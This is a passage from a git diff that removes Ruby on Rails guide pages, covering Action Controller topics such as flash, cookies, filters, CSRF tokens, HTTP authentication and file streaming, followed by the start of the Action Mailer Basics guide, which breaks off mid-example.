-The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
-
-<ruby>
-<html>
- <!-- <head/> -->
- <body>
- <% if flash[:notice] %>
- <p class="notice"><%= flash[:notice] %></p>
- <% end %>
- <% if flash[:error] %>
- <p class="error"><%= flash[:error] %></p>
- <% end %>
- <!-- more content -->
- </body>
-</html>
-</ruby>
-
-This way, if an action sets an error or a notice message, the layout will display it automatically.
-
-If you want a flash value to be carried over to another request, use the +keep+ method:
-
-<ruby>
-class MainController < ApplicationController
- # Let's say this action corresponds to root_url, but you want
- # all requests here to be redirected to UsersController#index.
- # If an action sets the flash and redirects here, the values
- # would normally be lost when another redirect happens, but you
- # can use 'keep' to make it persist for another request.
- def index
- # Will persist all flash values.
- flash.keep
-
- # You can also use a key to keep only some kind of value.
- # flash.keep(:notice)
- redirect_to users_url
- end
-end
-</ruby>
-
-h5. +flash.now+
-
-By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
-
-<ruby>
-class ClientsController < ApplicationController
- def create
- @client = Client.new(params[:client])
- if @client.save
- # ...
- else
- flash.now[:error] = "Could not save client"
- render :action => "new"
- end
- end
-end
-</ruby>
-
-h3. Cookies
-
-Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
-
-<ruby>
-class CommentsController < ApplicationController
- def new
- # Auto-fill the commenter's name if it has been stored in a cookie
- @comment = Comment.new(:name => cookies[:commenter_name])
- end
-
- def create
- @comment = Comment.new(params[:comment])
- if @comment.save
- flash[:notice] = "Thanks for your comment!"
- if params[:remember_name]
- # Remember the commenter's name.
- cookies[:commenter_name] = @comment.name
- else
- # Delete cookie for the commenter's name cookie, if any.
- cookies.delete(:commenter_name)
- end
- redirect_to @comment.article
- else
- render :action => "new"
- end
- end
-end
-</ruby>
-
-Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
-
-h3. Rendering xml and json data
-
-ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this.
-
-<ruby>
-class UsersController < ApplicationController
- def index
- @users = User.all
- respond_to do |format|
- format.html # index.html.erb
- format.xml { render :xml => @users}
- format.json { render :json => @users}
- end
- end
-end
-</ruby>
-
-Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ .
-
-
-h3. Filters
-
-Filters are methods that are run before, after or "around" a controller action.
-
-Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application.
-
-Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
-
-<ruby>
-class ApplicationController < ActionController::Base
- before_filter :require_login
-
- private
-
- def require_login
- unless logged_in?
- flash[:error] = "You must be logged in to access this section"
- redirect_to new_login_url # halts request cycle
- end
- end
-
- # The logged_in? method simply returns true if the user is logged
- # in and false otherwise. It does this by "booleanizing" the
- # current_user method we created previously using a double ! operator.
- # Note that this is not common in Ruby and is discouraged unless you
- # really mean to convert something into true or false.
- def logged_in?
- !!current_user
- end
-end
-</ruby>
-
-The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
-
-In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
-
-<ruby>
-class LoginsController < ApplicationController
- skip_before_filter :require_login, :only => [:new, :create]
-end
-</ruby>
-
-Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-
-h4. After Filters and Around Filters
-
-In addition to before filters, you can also run filters after an action has been executed, or both before and after.
-
-After filters are similar to before filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, after filters cannot stop the action from running.
-
-Around filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
-
-For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
-
-<ruby>
-class ChangesController < ActionController::Base
- around_filter :wrap_in_transaction, :only => :show
-
- private
-
- def wrap_in_transaction
- ActiveRecord::Base.transaction do
- begin
- yield
- ensure
- raise ActiveRecord::Rollback
- end
- end
- end
-end
-</ruby>
-
-Note that an around filter wraps also rendering. In particular, if in the example above the view itself reads from the database via a scope or whatever, it will do so within the transaction and thus present the data to preview.
-
-They can choose not to yield and build the response themselves, in which case the action is not run.
-
-h4. Other Ways to Use Filters
-
-While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
-
-The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
-
-<ruby>
-class ApplicationController < ActionController::Base
- before_filter do |controller|
- redirect_to new_login_url unless controller.send(:logged_in?)
- end
-end
-</ruby>
-
-Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
-
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
-
-<ruby>
-class ApplicationController < ActionController::Base
- before_filter LoginFilter
-end
-
-class LoginFilter
- def self.filter(controller)
- unless controller.send(:logged_in?)
- controller.flash[:error] = "You must be logged in"
- controller.redirect_to controller.new_login_url
- end
- end
-end
-</ruby>
-
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
-
-h3. Request Forgery Protection
-
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
-
-The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
-
-The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
-
-If you generate a form like this:
-
-<ruby>
-<%= form_for @user do |f| %>
- <%= f.text_field :username %>
- <%= f.text_field :password %>
-<% end %>
-</ruby>
-
-You will see how the token gets added as a hidden field:
-
-<html>
-<form accept-charset="UTF-8" action="/users/1" method="post">
-<input type="hidden"
- value="67250ab105eb5ad10851c00a5621854a23af5489"
- name="authenticity_token"/>
-<!-- fields -->
-</form>
-</html>
-
-Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
-
-The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
-
-The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
-
-h3. The Request and Response Objects
-
-In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
-
-h4. The +request+ Object
-
-The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are:
-
-|_.Property of +request+|_.Purpose|
-|host|The hostname used for this request.|
-|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
-|format|The content type requested by the client.|
-|method|The HTTP method used for the request.|
-|get?, post?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD.|
-|headers|Returns a hash containing the headers associated with the request.|
-|port|The port number (integer) used for the request.|
-|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
-|query_string|The query string part of the URL, i.e., everything after "?".|
-|remote_ip|The IP address of the client.|
-|url|The entire URL used for the request.|
-
-h5. +path_parameters+, +query_parameters+, and +request_parameters+
-
-Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-
-h4. The +response+ Object
-
-The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
-
-|_.Property of +response+|_.Purpose|
-|body|This is the string of data being sent back to the client. This is most often HTML.|
-|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
-|location|The URL the client is being redirected to, if any.|
-|content_type|The content type of the response.|
-|charset|The character set being used for the response. Default is "utf-8".|
-|headers|Headers used for the response.|
-
-h5. Setting Custom Headers
-
-If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
-
-<ruby>
-response.headers["Content-Type"] = "application/pdf"
-</ruby>
-
-h3. HTTP Authentications
-
-Rails comes with two built-in HTTP authentication mechanisms:
-
-* Basic Authentication
-* Digest Authentication
-
-h4. HTTP Basic Authentication
-
-HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+.
-
-<ruby>
-class AdminController < ApplicationController
- http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4"
-end
-</ruby>
-
-With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
-
-h4. HTTP Digest Authentication
-
-HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
-
-<ruby>
-class AdminController < ApplicationController
- USERS = { "lifo" => "world" }
-
- before_filter :authenticate
-
- private
-
- def authenticate
- authenticate_or_request_with_http_digest do |username|
- USERS[username]
- end
- end
-end
-</ruby>
-
-As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
-
-h3. Streaming and File Downloads
-
-Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
-
-To stream data to the client, use +send_data+:
-
-<ruby>
-require "prawn"
-class ClientsController < ApplicationController
- # Generates a PDF document with information on the client and
- # returns it. The user will get the PDF as a file download.
- def download_pdf
- client = Client.find(params[:id])
- send_data generate_pdf(client),
- :filename => "#{client.name}.pdf",
- :type => "application/pdf"
- end
-
- private
-
- def generate_pdf(client)
- Prawn::Document.new do
- text client.name, :align => :center
- text "Address: #{client.address}"
- text "Email: #{client.email}"
- end.render
- end
-end
-</ruby>
-
-The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
-
-h4. Sending Files
-
-If you want to send a file that already exists on disk, use the +send_file+ method.
-
-<ruby>
-class ClientsController < ApplicationController
- # Stream a file that has already been generated and stored on disk.
- def download_pdf
- client = Client.find(params[:id])
- send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
- :filename => "#{client.name}.pdf",
- :type => "application/pdf")
- end
-end
-</ruby>
-
-This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
-
-If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used.
-
-WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
-
-TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
-
-h4. RESTful Downloads
-
-While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
-
-<ruby>
-class ClientsController < ApplicationController
- # The user can request to receive this resource as HTML or PDF.
- def show
- @client = Client.find(params[:id])
-
- respond_to do |format|
- format.html
- format.pdf { render :pdf => generate_pdf(@client) }
- end
- end
-end
-</ruby>
-
-In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
-
-<ruby>
-Mime::Type.register "application/pdf", :pdf
-</ruby>
-
-NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
-
-Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
-
-<shell>
-GET /clients/1.pdf
-</shell>
-
-h3. Parameter Filtering
-
-Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
-
-<ruby>
-config.filter_parameters << :password
-</ruby>
-
-h3. Rescue
-
-Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
-
-Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-
-h4. The Default 500 and 404 Templates
-
-By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-
-h4. +rescue_from+
-
-If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
-
-When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
-
-Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
-
-<ruby>
-class ApplicationController < ActionController::Base
- rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
-
- private
-
- def record_not_found
- render :text => "404 Not Found", :status => 404
- end
-end
-</ruby>
-
-Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
-
-<ruby>
-class ApplicationController < ActionController::Base
- rescue_from User::NotAuthorized, :with => :user_not_authorized
-
- private
-
- def user_not_authorized
- flash[:error] = "You don't have access to this section."
- redirect_to :back
- end
-end
-
-class ClientsController < ApplicationController
- # Check that the user has the right authorization to access clients.
- before_filter :check_authorization
-
- # Note how the actions don't have to worry about all the auth stuff.
- def edit
- @client = Client.find(params[:id])
- end
-
- private
-
- # If the user is not authorized, just throw the exception.
- def check_authorization
- raise User::NotAuthorized unless current_user.admin?
- end
-end
-</ruby>
-
-NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
-
-h3. Force HTTPS protocol
-
-Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
-
-<ruby>
-class DinnerController
- force_ssl
-end
-</ruby>
-
-Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions.
-
-<ruby>
-class DinnerController
- force_ssl :only => :cheeseburger
- # or
- force_ssl :except => :cheeseburger
-end
-</ruby>
-
-Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file.
diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile
deleted file mode 100644
index ad5b848d2c..0000000000
--- a/railties/guides/source/action_mailer_basics.textile
+++ /dev/null
@@ -1,523 +0,0 @@
-h2. Action Mailer Basics
-
-This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-
-h3. Introduction
-
-Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
-
-h3. Sending Emails
-
-This section will provide a step-by-step guide to creating a mailer and its views.
-
-h4. Walkthrough to Generating a Mailer
-
-h5. Create the Mailer
-
-<shell>
-$ rails generate mailer UserMailer
-create app/mailers/user_mailer.rb
-invoke erb
-create app/views/user_mailer
-invoke test_unit
-create test/functional/user_mailer_test.rb
-</shell>
-
-So we got the mailer, the views, and the tests.
-
-h5. Edit the Mailer
-
-+app/mailers/user_mailer.rb+ contains an empty mailer:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "from@example.com"
-end
-</ruby>
-
-Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "notifications@example.com"
-
- def welcome_email(user)
- @user = user
- @url = "http://example.com/login"
- mail(:to => user.email, :subject => "Welcome to My Awesome Site")
- end
-end
-</ruby>
-
-Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
-
-* <tt>default Hash</tt> - This is a hash of default values for any email you send, in this case we are setting the <tt>:from</tt> header to a value for all messages in this class, this can be overridden on a per email basis
-* +mail+ - The actual email message, we are passing the <tt>:to</tt> and <tt>:subject</tt> headers in.
-
-Just like controllers, any instance variables we define in the method become available for use in the views.
-
-h5. Create a Mailer View
-
-Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
-
-<erb>
-<!DOCTYPE html>
-<html>
- <head>
- <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
- </head>
- <body>
- <h1>Welcome to example.com, <%= @user.name %></h1>
- <p>
- You have successfully signed up to example.com,
- your username is: <%= @user.login %>.<br/>
- </p>
- <p>
- To login to the site, just follow this link: <%= @url %>.
- </p>
- <p>Thanks for joining and have a great day!</p>
- </body>
-</html>
-</erb>
-
-It is also a good idea to make a text part for this email, to do this, create a file called +welcome_email.text.erb+ in +app/views/user_mailer/+:
-
-<erb>
-Welcome to example.com, <%= @user.name %>
-===============================================
-
-You have successfully signed up to example.com,
-your username is: <%= @user.login %>.
-
-To login to the site, just follow this link: <%= @url %>.
-
-Thanks for joining and have a great day!
-</erb>
-
-When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email.
-
-h5. Wire It Up So That the System Sends the Email When a User Signs Up
-
-There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
-
-Setting this up is painfully simple.
-
-First off, we need to create a simple +User+ scaffold:
-
-<shell>
-$ rails generate scaffold user name:string email:string login:string
-$ rake db:migrate
-</shell>
-
-Now that we have a user model to play with, we will just edit the +app/controllers/users_controller.rb+ make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved:
-
-<ruby>
-class UsersController < ApplicationController
- # POST /users
- # POST /users.json
- def create
- @user = User.new(params[:user])
-
- respond_to do |format|
- if @user.save
- # Tell the UserMailer to send a welcome Email after save
- UserMailer.welcome_email(@user).deliver
-
- format.html { redirect_to(@user, :notice => 'User was successfully created.') }
- format.json { render :json => @user, :status => :created, :location => @user }
- else
- format.html { render :action => "new" }
- format.json { render :json => @user.errors, :status => :unprocessable_entity }
- end
- end
- end
-end
-</ruby>
-
-This provides a much simpler implementation that does not require the registering of observers and the like.
-
-The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out.
-
-NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.
-
-WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
-
-h4. Auto encoding header values
-
-Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
-
-If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
-
-For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library.
-
-h4. Complete List of Action Mailer Methods
-
-There are just three methods that you need to send pretty much any email message:
-
-* <tt>headers</tt> - Specifies any header on the email you want, you can pass a hash of header field names and value pairs, or you can call <tt>headers[:field_name] = 'value'</tt>
-* <tt>attachments</tt> - Allows you to add attachments to your email, for example <tt>attachments['file-name.jpg'] = File.read('file-name.jpg')</tt>
-* <tt>mail</tt> - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
-
-h5. Custom Headers
-
-Defining custom headers are simple, you can do it one of three ways:
-
-* Defining a header field as a parameter to the +mail+ method:
-
-<ruby>
-mail("X-Spam" => value)
-</ruby>
-
-* Passing in a key value assignment to the +headers+ method:
-
-<ruby>
-headers["X-Spam"] = value
-</ruby>
-
-* Passing a hash of key value pairs to the +headers+ method:
-
-<ruby>
-headers {"X-Spam" => value, "X-Special" => another_value}
-</ruby>
-
-TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than one time. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.
-
-h5. Adding Attachments
-
-Adding attachments has been simplified in Action Mailer 3.0.
-
-* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
-
-<ruby>
-attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
-</ruby>
-
-NOTE: Mail will automatically Base64 encode an attachment, if you want something different, pre-encode your content and pass in the encoded content and encoding in a +Hash+ to the +attachments+ method.
-
-* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
-
-<ruby>
-encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
-attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
- :encoding => 'SpecialEncoding',
- :content => encoded_content }
-</ruby>
-
-NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
-
-h5. Making Inline Attachments
-
-Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
-
-* Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer:
-
-<ruby>
-def welcome
- attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
-end
-</ruby>
-
-* Then in your view, you can just reference <tt>attachments[]</tt> as a hash and specify which attachment you want to show, calling +url+ on it and then passing the result into the <tt>image_tag</tt> method:
-
-<erb>
-<p>Hello there, this is our image</p>
-
-<%= image_tag attachments['image.jpg'].url %>
-</erb>
-
-* As this is a standard call to +image_tag+ you can pass in an options hash after the attachment url as you could for any other image:
-
-<erb>
-<p>Hello there, this is our image</p>
-
-<%= image_tag attachments['image.jpg'].url, :alt => 'My Photo',
- :class => 'photos' %>
-</erb>
-
-h5. Sending Email To Multiple Recipients
-
-It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
-
-<ruby>
-class AdminMailer < ActionMailer::Base
- default :to => Admin.all.map(&:email),
- :from => "notification@example.com"
-
- def new_registration(user)
- @user = user
- mail(:subject => "New User Signup: #{@user.email}")
- end
-end
-</ruby>
-
-The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
-
-h5. Sending Email With Name
-
-Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
-to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
-
-<ruby>
-def welcome_email(user)
- @user = user
- email_with_name = "#{@user.name} <#{@user.email}>"
- mail(:to => email_with_name, :subject => "Welcome to My Awesome Site")
-end
-</ruby>
-
-h4. Mailer Views
-
-Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.html.erb+ for the HTML version and +welcome_email.text.erb+ for the plain text version.
-
-To change the default mailer view for your action you do something like:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "notifications@example.com"
-
- def welcome_email(user)
- @user = user
- @url = "http://example.com/login"
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site",
- :template_path => 'notifications',
- :template_name => 'another')
- end
-end
-</ruby>
-
-In this case it will look for templates at +app/views/notifications+ with name +another+.
-
-If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default :from => "notifications@example.com"
-
- def welcome_email(user)
- @user = user
- @url = "http://example.com/login"
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site") do |format|
- format.html { render 'another_template' }
- format.text { render :text => 'Render text' }
- end
- end
-
-end
-</ruby>
-
-This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc.
-
-h4. Action Mailer Layouts
-
-Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as +user_mailer.html.erb+ and +user_mailer.text.erb+ to be automatically recognized by your mailer as a layout.
-
-In order to use a different file just use:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- layout 'awesome' # use awesome.(html|text).erb as the layout
-end
-</ruby>
-
-Just like with controller views, use +yield+ to render the view inside the layout.
-
-You can also pass in a <tt>:layout => 'layout_name'</tt> option to the render call inside the format block to specify different layouts for different actions:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- mail(:to => user.email) do |format|
- format.html { render :layout => 'my_layout' }
- format.text
- end
- end
-end
-</ruby>
-
-Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.
-
-h4. Generating URLs in Action Mailer Views
-
-URLs can be generated in mailer views using +url_for+ or named routes.
-
-Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
-
-<erb>
-<%= url_for(:host => "example.com",
- :controller => "welcome",
- :action => "greeting") %>
-</erb>
-
-When using named routes you only need to supply the +:host+:
-
-<erb>
-<%= user_url(@user, :host => "example.com") %>
-</erb>
-
-Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
-
-It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in the +ActionMailer::Base.default_url_options+ hash as follows:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- default_url_options[:host] = "example.com"
-
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- mail(:to => user.email,
- :subject => "Welcome to My Awesome Site")
- end
-end
-</ruby>
-
-h4. Sending Multipart Emails
-
-Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
-
-The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order:
-
-<ruby>
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
- @user = user
- @url = user_url(@user)
- mail(:to => user.email,
